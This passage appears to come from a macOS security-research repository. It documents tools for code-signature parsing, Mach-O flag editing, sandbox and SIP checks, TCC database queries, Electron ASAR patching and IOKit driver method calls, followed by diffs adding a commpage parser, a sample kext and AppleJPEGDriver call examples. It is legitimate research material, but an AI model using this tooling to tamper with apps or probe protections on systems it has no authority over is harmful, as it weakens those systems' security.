usage: SignatureReader [-h] [--load_cms cms_signature.der]
[--extract_signature cms_signature.der]
[--extract_pubkey cert_0] [--human]
CMS Signature Loader
options:
-h, --help show this help message and exit
--load_cms cms_signature.der
Load the DER encoded CMS Signature from the filesystem
and print it
--extract_signature cms_signature.der
Extract and print the signature part from the DER
encoded CMS Signature
--extract_pubkey cert_0
Extract public key from the given certificate and save
it to extracted_pubkey.pem
--human Print in human-readable format
CrimsonUroboros -p signed_ad_hoc_example --extract_cms cms_sign
```
* Example:
```bash
SignatureReader --extract_signature cms_sign --human
0x25ca80ad5f11be197dc7a2d53f3db5b6bf463a38224db8c0a17fa4b8fd5ad7e0c60f2be8e8849cf2e581272290991c0db40b0d452b2d2dbf230c0ccab3a6d78e0230bca7bccbc50d379372bcddd8d8542add5ec59180bc3409b2df3bd8995301b9ba1e65ac62420c75104f12cb58b430fde8a177a1cd03940d4b0e77a9d875d65552cf96f03cb63b437c36d9bab12fa727e17603da49fcb870edaec115f90def1ac2ad12c2e9349a5470b5ed2f242b5566cd7ddee785eff8ae5484f145a8464d4dc3891b10a3b2981e9add1e4c0aec31fa80320eb5494d9623400753adf24106efdd07ad657035ed2876e9460219944a4730b0b620954961350ddb1fcf0ea539
```
***
### [extract_cms.sh](II.%20Code%20Signing/custom/extract_cms.sh)
Designed to extract cms sginature from Mach-O files (bash alternative to `SingatureReader --extract_signature`).
* Example:
```
./extract_cms.sh target_binary cms_sign
```
***
### [ModifyMachOFlags](III.%20Checksec/python/ModifyMachOFlags.py)
Designed to change Mach-O header flags.
* Usage:
```console
usage: ModifyMachOFlags [-h] -i INPUT -o OUT [--flag FLAG] [--sign_binary [adhoc|identity_number]]
Modify the Mach-O binary flags.
options:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Path to the Mach-O file.
-o OUT, --out OUT Where to save a modified file.
--flag FLAG Specify the flag constant name and value (e.g., NO_HEAP_EXECUTION=1). Can be used multiple times. Available
flags: NOUNDEFS, INCRLINK, DYLDLINK, BINDATLOAD, PREBOUND, SPLIT_SEGS, LAZY_INIT, TWOLEVEL, FORCE_FLAT,
NOMULTIDEFS, NOFIXPREBINDING, PREBINDABLE, ALLMODSBOUND, SUBSECTIONS_VIA_SYMBOLS, CANONICAL, WEAK_DEFINES,
BINDS_TO_WEAK, ALLOW_STACK_EXECUTION, ROOT_SAFE, SETUID_SAFE, NO_REEXPORTED_DYLIBS, PIE,
DEAD_STRIPPABLE_DYLIB, HAS_TLV_DESCRIPTORS, NO_HEAP_EXECUTION, APP_EXTENSION_SAFE,
NLIST_OUTOFSYNC_WITH_DYLDINFO, SIM_SUPPORT, DYLIB_IN_CACHE
--sign_binary [adhoc|identity_number]
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to get the
identity. (default: adhoc)
```
* Example:
```bash
ModifyMachOFlags -i hello -o hello_modified --flag NO_HEAP_EXECUTION=1 --sign_binary
```
***
### [LCFinder](III.%20Checksec/python/LCFinder.py)
Designed to find if specified Load Command exist in the binary or list of binaries.
* Usage:
```console
usage: LCFinder [-h] [--path PATH] [--list_path LIST_PATH] --lc LC
Check for a specific load command in Mach-O binaries.
options:
-h, --help show this help message and exit
--path PATH, -p PATH Absolute path to the valid MachO binary.
--list_path LIST_PATH, -l LIST_PATH
Path to a wordlist file containing absolute paths.
--lc LC The load command to check for.
```
* Example:
```bash
LCFinder -l macho_paths.txt --lc SEGMENT_64 2>/dev/null
LCFinder -p hello --lc lc_segment_64 2>/dev/null
```
***
### [MachODylibLoadCommandsFinder](IV.%20Dylibs/python/MachODylibLoadCommandsFinder.py)
Designed to Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
Print the total Mach-O files analyzed and how many DYLIB-related LCs existed
* Usage:
```console
MachODylibLoadCommandsFinder 2>/dev/null
```
***
### [check_amfi](VI.%20AMFI/python/check_amfi.py)
Simple script for calculating `amfiFlags` (described [here](https://karol-mazurek.medium.com/dyld-do-you-like-death-vi-1013a69118ff) in `ProcessConfig — AMFI properties`)
* Usage:
```console
python3 check_amfi.py 0x1df
```
***
### [make_bundle](App%20Bundle%20Extension/custom/make_bundle.sh)
Build a codeless bundle with a red icon.
* Usage:
```console
./make_bundle.sh
```
***
### [make_bundle_exe](App%20Bundle%20Extension/custom/make_bundle_exe.sh)
Bash template for building a PoC app bundle with Mach-O binary that utilizes Framework:
* Usage:
```console
./make_bundle_exe.sh
```
***
### [make_dmg](App%20Bundle%20Extension/custom/make_dmg.sh)
Script for packing the app in a compressed DMG container:
* Usage (change names in the script):
```console
./make_dmg.sh
```
### [electron_patcher](App%20Bundle%20Extension/custom/electron_patcher.py)
Python script for extracting ASAR files from Electron apps and patching them with a custom ASAR file.
```
python3 electron_patcher.py extract app_bundle.app extracted_asar
python3 electron_patcher.py pack extracted_asar app_bundle.app
```
### [sandbox_validator](VIII.%20Sandbox/custom/sandbox_validator.c)
It can be used to quickly check if a given process is allowed to perform a particular operation while it is sandboxed.
```bash
# Compile
clang -o sandbox_validator sandbox_validator.c
# Usage: sandbox_validator PID "OPERATION" "FILTER_NAME" "FILTER_VALUE"
sandbox_validator 93298
sandbox_validator 93298 "file-read*"
sandbox_validator 93298 "file-read*" PATH "/users/karmaz/.trash"
sandbox_validator 93298 "authorization-right-obtain" RIGHT_NAME "system.burn"
```
### [sandblaster](https://github.com/Karmaz95/sandblaster)
This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sandblaster) with MacOS Support:
```bash
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
```
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
A simple program to check if SIP is enabled in the system with more details.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 sip_check.py
SIP Configuration Flags:
CSR_ALLOW_UNTRUSTED_KEXTS: Off
CSR_ALLOW_UNRESTRICTED_FS: Off
CSR_ALLOW_TASK_FOR_PID: Off
CSR_ALLOW_KERNEL_DEBUGGER: Off
CSR_ALLOW_APPLE_INTERNAL: Off
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
CSR_ALLOW_DEVICE_CONFIGURATION: Off
CSR_ALLOW_ANY_RECOVERY_OS: Off
CSR_ALLOW_UNAPPROVED_KEXTS: Off
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
```
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
It can be use for checking the possibility of file modification and creation in a given directory.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 crimson_waccess.py -f sip_protected_paths.txt
```
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
sip_tester --path /bin
sip_tester --pid 1234
sip_tester --service com.apple.kernelmanager_helper
sip_tester --missing_paths
```
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
```bash
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
UUIDFinder - A tool for managing Mach-O executable UUIDs
options:
-h, --help show this help message and exit
--path, -p PATH Path to the executable
--list, -l LIST Path to a file containing a list of executables
--uuid, -u UUID UUID to lookup or add
--delete, -d Delete the path record from database
--resolve, -r Get UUIDs for the path and add to database
--show_db, -s Show all records in the database
--db_location DB_LOCATION
Location of the UUID database file
Examples:
---------
1. Display UUIDs for a single executable from database:
--path /path/to/executable
-p /path/to/executable
2. Find path for a specific UUID in database:
--uuid 123e4567-e89b-12d3-a456-426614174000
-u 123e4567-e89b-12d3-a456-426614174000
3. Add or update UUID for a path:
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
4. Extract and add UUIDs from executable to database:
--path /path/to/executable --resolve
-p /path/to/executable -r
5. Delete path and its UUIDs from database:
--path /path/to/executable --delete
-p /path/to/executable -d
6. Process multiple executables from a list file:
--list /path/to/list.txt --resolve
-l /path/to/list.txt -r
7. Show all records in the database:
--show_db
-s
8. Use custom database location:
--path /path/to/executable --db_location /custom/path/db.json
-p /path/to/executable --db_location /custom/path/db.json
Notes:
------
- All UUIDs are stored in lowercase in the database
- The default database file is 'uuid_database.json' in the current directory
- When using --list, each path should be on a new line in the list file
- The tool automatically converts relative paths to absolute paths
```
### [TCCParser](IX.%20TCC/python/TCCParser.py)
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
It was introduced in the article [](todo)
```bash
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
Parse TCC Database for Permissions Information
options:
-h, --help Show this help message and exit
-p PATH, --path PATH Path to TCC.db file to analyze
-t, --table Output results in table format
-a, --all Automatically query all available TCC databases on the system
-l, --list_db List all available TCC databases on the system
Examples:
---------
1. List all available TCC databases on the system:
--list_db
-l
2. Query a specific TCC database:
--path /path/to/TCC.db
-p /path/to/TCC.db
3. Display the query results in a formatted table:
--path /path/to/TCC.db --table
-p /path/to/TCC.db -t
4. Automatically query all known TCC databases:
--all
-a
Notes:
------
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
```
### [IOVerify](X.%20NU/custom/drivers/IOVerify.c)
This tool allows for direct interaction with macOS IOKit drivers using IOConnectCallMethod. It was introduced in the article I made for PHRACK - [Mapping IOKit Methods Exposed to User Space on macOS](https://phrack.org/issues/72/9_md#article).
```bash
./IOVerify -h
Usage: ./IOVerify -n <name> (-m <method> | -y <spec>) [options]
Options:
-n <name> Target driver class name (required).
-t <type> Connection type (default: 0).
-m <id> Method selector ID.
-y <spec> Specify method and buffer sizes in one string.
Format: "ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]"
Example: -y "0: [0, 96, 0, 96]"
-p <string> Payload as a string.
-f <file> File path for payload.
-b <hex_str> Space-separated hex string payload.
-i <size> Input buffer size (ignored if -y is used).
-o <size> Output buffer size (ignored if -y is used).
-s <value> Scalar input (uint64_t). Can be specified multiple times.
-S <count> Scalar output count (ignored if -y is used).
-h Show this help message.
./IOVerify -n "H11ANEIn" -t 1 -y "0: [0,1,0,1]"
Starting verification for driver: H11ANEIn
--- [VERIFY] Event Log ---
Driver: H11ANEIn
Connection Type: 1
Method Selector: 0
Result: 0xe00002c2 ((iokit/common) invalid argument)
--- Scalar I/O ---
Scalar In Cnt: 0
Scalar Out Cnt: 0
--- Structure I/O ---
Input Size: 1 bytes
Input Data:
00
Output Size: 1 bytes
Output Data:
00
--- End of Log ---
```
### [r2_dd](I.%20Mach-O/python/r2_dd.py)
A wrapper script that uses radare2 to dump binary data from Mach-O files between specified virtual addresses. It automatically maps virtual addresses to file offsets.
* Usage:
```bash
python3 r2_dd.py BINARY_PATH START_ADDR END_ADDR OUT_FILE
```
* Example:
```bash
python3 r2_dd.py ./kernelcache 0xFFFFFF80002A0000 0xFFFFFF80002A0500 ./dump.bin
```
* Note: Requires `radare2` to be installed:
```bash
brew install radare2
```
### [find_symbol](I.%20Mach-O/python/find_symbol.py)
A python wrapper for searching symbols in binary files using `nm`. Recursively walks through directories to find symbol definitions and references across executables and libraries.
```txt
usage: find_symbol.py PATH SYMBOL
Search for symbols in binary files within a directory
Arguments:
PATH Directory to search recursively
SYMBOL Symbol name to search for
Examples:
---------
1. Find _sandbox_check function across extracted libraries from Dyld Shared Cache:
find_symbol.py . _sandbox_check
2. Search for a specific symbol in system libraries:
find_symbol.py /usr/lib _malloc
3. Locate symbol references in a framework:
find_symbol.py /System/Library/Frameworks/Security.framework SecItemAdd
Sample Output:
--------------
./usr/lib/libspindump.dylib
U _sandbox_check
----
./usr/lib/dyld
0000000180141a6c T _sandbox_check
0000000180141b4c t _sandbox_check_common
----
./usr/lib/libnetworkextension.dylib
U _sandbox_check
----
Notes:
------
- The tool uses `nm` to extract symbol information from binary files
- Symbol types: T (text/code), U (undefined/external reference), t (local text)
- Can be imported as a module: `from find_symbol import find_symbol`
- Skips files that `nm` cannot process (non-binary files are silently ignored)
```

View File

@@ -1,6 +1,7 @@
_hook_iokit_check_get_property
_hook_iokit_check_filter_properties
_hook_vnode_notify_link
_hook_proc_check_proc_info
_hook_kext_check_unload
_hook_kext_check_load
_hook_pty_notify_close
@@ -96,6 +97,7 @@ _hook_socket_check_create
_hook_socket_check_connect
_hook_socket_check_bind
_hook_proc_check_signal
_hook_proc_check_iopolicy
_hook_proc_check_setauid
_hook_proc_check_setaudit
_hook_proc_check_sched
@@ -138,13 +140,17 @@ _hook_mount_check_mount
_hook_mount_check_fsctl
_hook_mount_check_quotactl
_hook_vnode_check_copyfile
_hook_vnode_check_swap
_hook_vnode_notify_unlink
_hook_vnode_notify_swap
_hook_proc_check_set_task_special_port
_hook_proc_check_get_task_special_port
_hook_vnode_notify_setflags
_hook_vnode_notify_setextattr
_hook_necp_check_client_action
_hook_necp_check_open
_hook_proc_check_set_thread_exception_port
_hook_proc_check_set_task_exception_port
_hook_file_check_set
_hook_file_check_mmap
_hook_file_check_lock
@@ -155,4 +161,4 @@ _hook_cred_label_associate
_hook_cred_check_label_update
_hook_vnode_check_exec
_hook_cred_check_label_update_execve
_hook_cred_label_update_execve
_hook_cred_label_update_execve

2
VIII. Sandbox/python/crimson_waccess.py Normal file → Executable file
View File

@@ -20,7 +20,7 @@ class Waccess:
elif os.path.isfile(path):
self.check_file_write_permission(path, output_path)
else:
sys.stderr.write(f"Path {path} does not exist.")
sys.stderr.write(f"Path {path} does not exist.\n")
def check_directory_write_permission(self, directory_path, output_path):
'''Check if a directory is writable by attempting to create a test file.'''

View File

@@ -0,0 +1,151 @@
// clang CommPageParser.c -o CommPageParser -arch arm64
#include <stdio.h>
#include <stdint.h>
#define COMM_PAGE_BASE 0xfffffc000ULL
typedef struct {
uint64_t TimeStamp_tick;
uint64_t TimeStamp_sec;
uint64_t TimeStamp_frac;
uint64_t Ticks_scale;
uint64_t Ticks_per_sec;
} new_commpage_timeofday_data_t;
typedef struct {
uint64_t nt_tsc_base;
uint32_t nt_scale;
uint32_t nt_shift;
uint64_t nt_ns_base;
uint32_t nt_generation;
uint32_t gtod_generation;
uint64_t gtod_ns_base;
uint64_t gtod_sec_base;
} time_data_t;
typedef struct {
uint8_t signature[16];
uint64_t cpu_capabilities64;
uint8_t unused[6];
uint16_t version;
uint32_t cpu_capabilities;
uint8_t ncpus;
uint8_t user_page_shift_32;
uint8_t user_page_shift_64;
uint16_t cache_linesize;
uint32_t unused4;
uint32_t unused3;
uint32_t memory_pressure;
uint8_t active_cpus;
uint8_t physical_cpus;
uint8_t logical_cpus;
uint8_t kernel_page_shift;
uint64_t memory_size;
uint32_t cpufamily;
uint32_t dev_firm;
uint64_t timebase_offset;
uint8_t user_timebase;
uint8_t cont_hwclock;
uint8_t dtrace_dof_enabled;
uint8_t unused0[5];
time_data_t time_data;
struct {
uint64_t time;
uint64_t time_supported;
uint8_t _fill[48];
} approx;
uint64_t cont_timebase;
uint64_t boottime_usec;
new_commpage_timeofday_data_t new_time_data;
uint64_t unused5;
uint64_t dyld_flags;
uint8_t cpu_to_cluster[256];
uint64_t quiescent_counter;
uint64_t asb_target_value;
uint64_t asb_target_address;
uint64_t asb_target_kern_value;
uint64_t asb_target_kern_address;
} comm_page_t;
void print_cpu_capabilities64(uint64_t caps) {
printf("CPU Capabilities64 details:\n");
if (caps & 0x00000008) printf(" - FP16 Support\n");
if (caps & 0x00000100) printf(" - Advanced SIMD\n");
if (caps & 0x00000200) printf(" - Advanced SIMD half-precision\n");
if (caps & 0x00000400) printf(" - VFP Support\n");
if (caps & 0x00002000) printf(" - FMA Support\n");
if (caps & 0x01000000) printf(" - ARMv8 Crypto\n");
if (caps & 0x02000000) printf(" - ARMv8.1 Atomic instructions\n");
if (caps & 0x04000000) printf(" - ARMv8 CRC32\n");
if (caps & 0x80000000) printf(" - SHA512\n");
// Extended capabilities
if (caps & 0x0000000100000000) printf(" - SHA3\n");
if (caps & 0x0000000200000000) printf(" - FCMA\n");
if (caps & 0x0000000400000000) printf(" - AFP\n");
}
int main() {
comm_page_t *comm = (comm_page_t *)COMM_PAGE_BASE;
printf("Signature: ");
for(int i = 0; i < 16; i++) printf("%02x", comm->signature[i]);
printf("\n\n");
printf("CPU Capabilities64: 0x%llx\n", comm->cpu_capabilities64);
print_cpu_capabilities64(comm->cpu_capabilities64);
printf("\nVersion: %d\n", comm->version);
printf("CPU Capabilities32: 0x%x\n", comm->cpu_capabilities);
printf("\nCPU Information:\n");
printf("Physical CPUs: %d\n", comm->physical_cpus);
printf("Logical CPUs: %d\n", comm->logical_cpus);
printf("Active CPUs: %d\n", comm->active_cpus);
printf("Number of configured CPUs: %d\n", comm->ncpus);
printf("\nMemory Information:\n");
printf("Cache Line Size: %d\n", comm->cache_linesize);
printf("Memory Size: %lld bytes\n", comm->memory_size);
printf("Memory Pressure: %d\n", comm->memory_pressure);
printf("32-bit Page Shift: %d\n", comm->user_page_shift_32);
printf("64-bit Page Shift: %d\n", comm->user_page_shift_64);
printf("Kernel Page Shift: %d\n", comm->kernel_page_shift);
printf("\nSystem Information:\n");
printf("CPU Family: 0x%x\n", comm->cpufamily);
printf("Device Firmware: 0x%x\n", comm->dev_firm);
printf("DYLD System Flags: 0x%llx\n", comm->dyld_flags);
printf("DTrace DOF Enabled: %d\n", comm->dtrace_dof_enabled);
printf("\nTime Information:\n");
printf("Timebase Offset: 0x%llx\n", comm->timebase_offset);
printf("Boot Time: %lld μs\n", comm->boottime_usec);
printf("Continuous Hardware Clock: %d\n", comm->cont_hwclock);
printf("User Timebase: %d\n", comm->user_timebase);
printf("Continuous Timebase: 0x%llx\n", comm->cont_timebase);
printf("\nTime Data:\n");
printf("TSC Base: 0x%llx\n", comm->time_data.nt_tsc_base);
printf("Scale: %u\n", comm->time_data.nt_scale);
printf("Shift: %u\n", comm->time_data.nt_shift);
printf("NS Base: %lld\n", comm->time_data.nt_ns_base);
printf("Generation: %u\n", comm->time_data.nt_generation);
printf("\nNew Time Data:\n");
printf("Timestamp tick: %lld\n", comm->new_time_data.TimeStamp_tick);
printf("Timestamp sec: %lld\n", comm->new_time_data.TimeStamp_sec);
printf("Ticks per sec: %lld\n", comm->new_time_data.Ticks_per_sec);
printf("\nApproximate Time:\n");
printf("Time: %lld\n", comm->approx.time);
printf("Time Supported: %lld\n", comm->approx.time_supported);
printf("\nSecurity Information:\n");
printf("ASB Target Value: 0x%llx\n", comm->asb_target_value);
printf("ASB Target Address: 0x%llx\n", comm->asb_target_address);
printf("ASB Target Kernel Value: 0x%llx\n", comm->asb_target_kern_value);
printf("ASB Target Kernel Address: 0x%llx\n", comm->asb_target_kern_address);
printf("\nCPU Quiescent Counter: %lld\n", comm->quiescent_counter);
return 0;
}

View File

@@ -0,0 +1,173 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 46;
objects = {
/* Begin PBXBuildFile section */
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */ = {
isa = PBXBuildFile;
fileRef = 08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */;
};
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */ = {
isa = PBXFileReference;
fileEncoding = 4;
lastKnownFileType = sourcecode.c.c;
path = src/HelloWorld.c;
sourceTree = "<group>";
};
8D01CCD10486CAD60068D4B7 /* Info.plist */ = {
isa = PBXFileReference;
fileEncoding = 4;
lastKnownFileType = text.plist.xml;
path = src/Info.plist;
sourceTree = "<group>";
};
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */ = {
isa = PBXFileReference;
explicitFileType = "wrapper.kernel-extension";
includeInIndex = 0;
path = HelloWorld.kext;
sourceTree = BUILT_PRODUCTS_DIR;
};
/* End PBXFileReference section */
/* Begin PBXGroup section */
089C166AFE841209C02AAC07 /* HelloWorld */ = {
isa = PBXGroup;
children = (
08FB77B2FE8417CDC02AAC07 /* HelloWorld.c */,
8D01CCD10486CAD60068D4B7 /* Info.plist */,
19C28FB6FE9D52B211CA2CBB /* Products */,
);
name = HelloWorld;
sourceTree = "<group>";
};
19C28FB6FE9D52B211CA2CBB /* Products */ = {
isa = PBXGroup;
children = (
8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */,
);
name = Products;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
8D01CCC60486CAD60068D4B7 /* HelloWorld */ = {
isa = PBXNativeTarget;
buildConfigurationList = 1DEB91D908733DB10010E9CD /* Build configuration list */;
buildPhases = (
8D01CCC90486CAD60068D4B7 /* Sources */,
);
buildRules = (
);
dependencies = (
);
name = HelloWorld;
productInstallPath = "$(HOME)/Library/Bundles";
productName = HelloWorld;
productReference = 8D01CCD20486CAD60068D4B7 /* HelloWorld.kext */;
productType = "com.apple.product-type.kernel-extension";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
089C1669FE841209C02AAC07 /* Project object */ = {
isa = PBXProject;
buildConfigurationList = 1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */;
compatibilityVersion = "Xcode 3.2";
developmentRegion = English;
hasScannedForEncodings = 1;
knownRegions = (
English,
Japanese,
French,
German
);
mainGroup = 089C166AFE841209C02AAC07 /* HelloWorld */;
projectDirPath = "";
projectRoot = "";
targets = (
8D01CCC60486CAD60068D4B7 /* HelloWorld */,
);
};
/* End PBXProject section */
/* Begin PBXSourcesBuildPhase section */
8D01CCC90486CAD60068D4B7 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8D01CCC80486CAD60068D4B7 /* HelloWorld.c in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin XCBuildConfiguration section */
1DEB91DA08733DB10010E9CD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = "arm64e";
VALID_ARCHS = "arm64e";
KERNEL_EXTENSION_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
KERNEL_FRAMEWORK = "$(SYSTEM_LIBRARY_DIR)/Frameworks/Kernel.framework";
ONLY_ACTIVE_ARCH = NO;
GCC_C_LANGUAGE_STANDARD = gnu11;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
INFOPLIST_FILE = src/Info.plist;
PRODUCT_NAME = HelloWorld;
PRODUCT_BUNDLE_IDENTIFIER = "crimson.HelloWorld";
SDKROOT = macosx;
WRAPPER_EXTENSION = kext;
MODULE_NAME = "crimson.HelloWorld";
MODULE_VERSION = 1.0.0;
MACOSX_DEPLOYMENT_TARGET = 13.0;
OTHER_CFLAGS = "-mkernel -fno-builtin -static";
OTHER_LDFLAGS = "-static -lkmod";
SYSTEM_HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
HEADER_SEARCH_PATHS = "$(KERNEL_FRAMEWORK)/Headers";
};
name = Release;
};
1DEB91DE08733DB10010E9CD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = "arm64e";
VALID_ARCHS = "arm64e";
ONLY_ACTIVE_ARCH = NO;
SDKROOT = macosx;
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
1DEB91D908733DB10010E9CD /* Build configuration list for PBXNativeTarget "HelloWorld" */ = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB91DA08733DB10010E9CD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
1DEB91DD08733DB10010E9CD /* Build configuration list for PBXProject "HelloWorld" */ = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB91DE08733DB10010E9CD /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 089C1669FE841209C02AAC07 /* Project object */;
}

View File

@@ -0,0 +1,17 @@
#include <mach/mach_types.h>
#include <libkern/libkern.h>
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d);
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d);
kern_return_t HelloWorld_start(kmod_info_t * ki, void *d)
{
printf("HelloWorld from kext start");
return KERN_SUCCESS;
}
kern_return_t HelloWorld_stop(kmod_info_t *ki, void *d)
{
printf("HelloWorld from kext stop");
return KERN_SUCCESS;
}

View File

@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>23H124</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>HelloWorld</string>
<key>CFBundleIdentifier</key>
<string>crimson.HelloWorld</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>HelloWorld</string>
<key>CFBundlePackageType</key>
<string>KEXT</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>24B75</string>
<key>DTPlatformName</key>
<string>macosx</string>
<key>DTPlatformVersion</key>
<string>15.1</string>
<key>DTSDKBuild</key>
<string>24B75</string>
<key>DTSDKName</key>
<string>macosx15.1</string>
<key>DTXcode</key>
<string>1610</string>
<key>DTXcodeBuild</key>
<string>16B40</string>
<key>LSMinimumSystemVersion</key>
<string>15.1</string>
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.kpi.libkern</key>
<string>23.6.0</string>
</dict>
</dict>
</plist>

View File

@@ -0,0 +1,20 @@
#include <IOKit/IOKitLib.h>
#include <stdio.h>
int main() {
// Get service
io_service_t service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("AppleJPEGDriver"));
// Connect to service
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &connect);
IOObjectRelease(service);
// Call external method
kr = IOConnectCallMethod(connect, 0, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
printf("Method call result: 0x%x\n", kr);
// Cleanup
IOServiceClose(connect);
return 0;
}

View File

@@ -0,0 +1,10 @@
import iokitlib
# Get service and connect
iokit = iokitlib.iokit()
conn = iokit.open_service(b"AppleJPEGDriver", 1)
print(f"Connection handle: {conn}")
# Call external method
kr = iokit.connect_call_method(conn, 0, None, None, None, None)
print(f"Method call result: {kr}")

View File

@@ -0,0 +1,166 @@
// Compile command:
// clang++ -framework IOKit -framework CoreFoundation -framework IOSurface AppleJPEGDriver_method_1.cpp -o AppleJPEGDriver_method_1
#include <IOKit/IOKitLib.h>
#include <IOSurface/IOSurface.h>
#include <CoreVideo/CVPixelBuffer.h>
#include <stdio.h>
#include <string.h>
/**
* Creates an IOSurface with JPEG format specifications
* IOSurface is a memory buffer that can be shared between processes and hardware
*
* @details This function sets up an IOSurface with specific parameters:
* - 32x32 pixel dimensions
* - 0x10000 bytes allocation size
* - JPEG format specification
* - Global sharing enabled
*
* @return The unique identifier of the created surface, or 0 on failure
*/
static uint32_t create_surface(void) {
// Create a mutable dictionary to hold surface properties
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!dict) return 0;
// Define surface parameters
int width = 32;
int height = 32;
int alloc_size = 0x10000;
int format = 'JPEG'; // Using JPEG format identifier
// Set surface as globally accessible
CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
// Create CF numbers for surface properties
CFNumberRef w = CFNumberCreate(NULL, kCFNumberSInt32Type, &width);
CFNumberRef h = CFNumberCreate(NULL, kCFNumberSInt32Type, &height);
CFNumberRef s = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size);
CFNumberRef f = CFNumberCreate(NULL, kCFNumberSInt32Type, &format);
// Set surface properties in dictionary
CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), w);
CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), h);
CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), s);
CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), f);
// Create the surface with our specifications
IOSurfaceRef surface = IOSurfaceCreate(dict);
if (!surface) {
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
return 0;
}
// Get surface ID and retain the surface
uint32_t id = IOSurfaceGetID(surface);
CFRetain(surface);
// Clean up allocated resources
CFRelease(w); CFRelease(h); CFRelease(s); CFRelease(f); CFRelease(dict);
return id;
}
/**
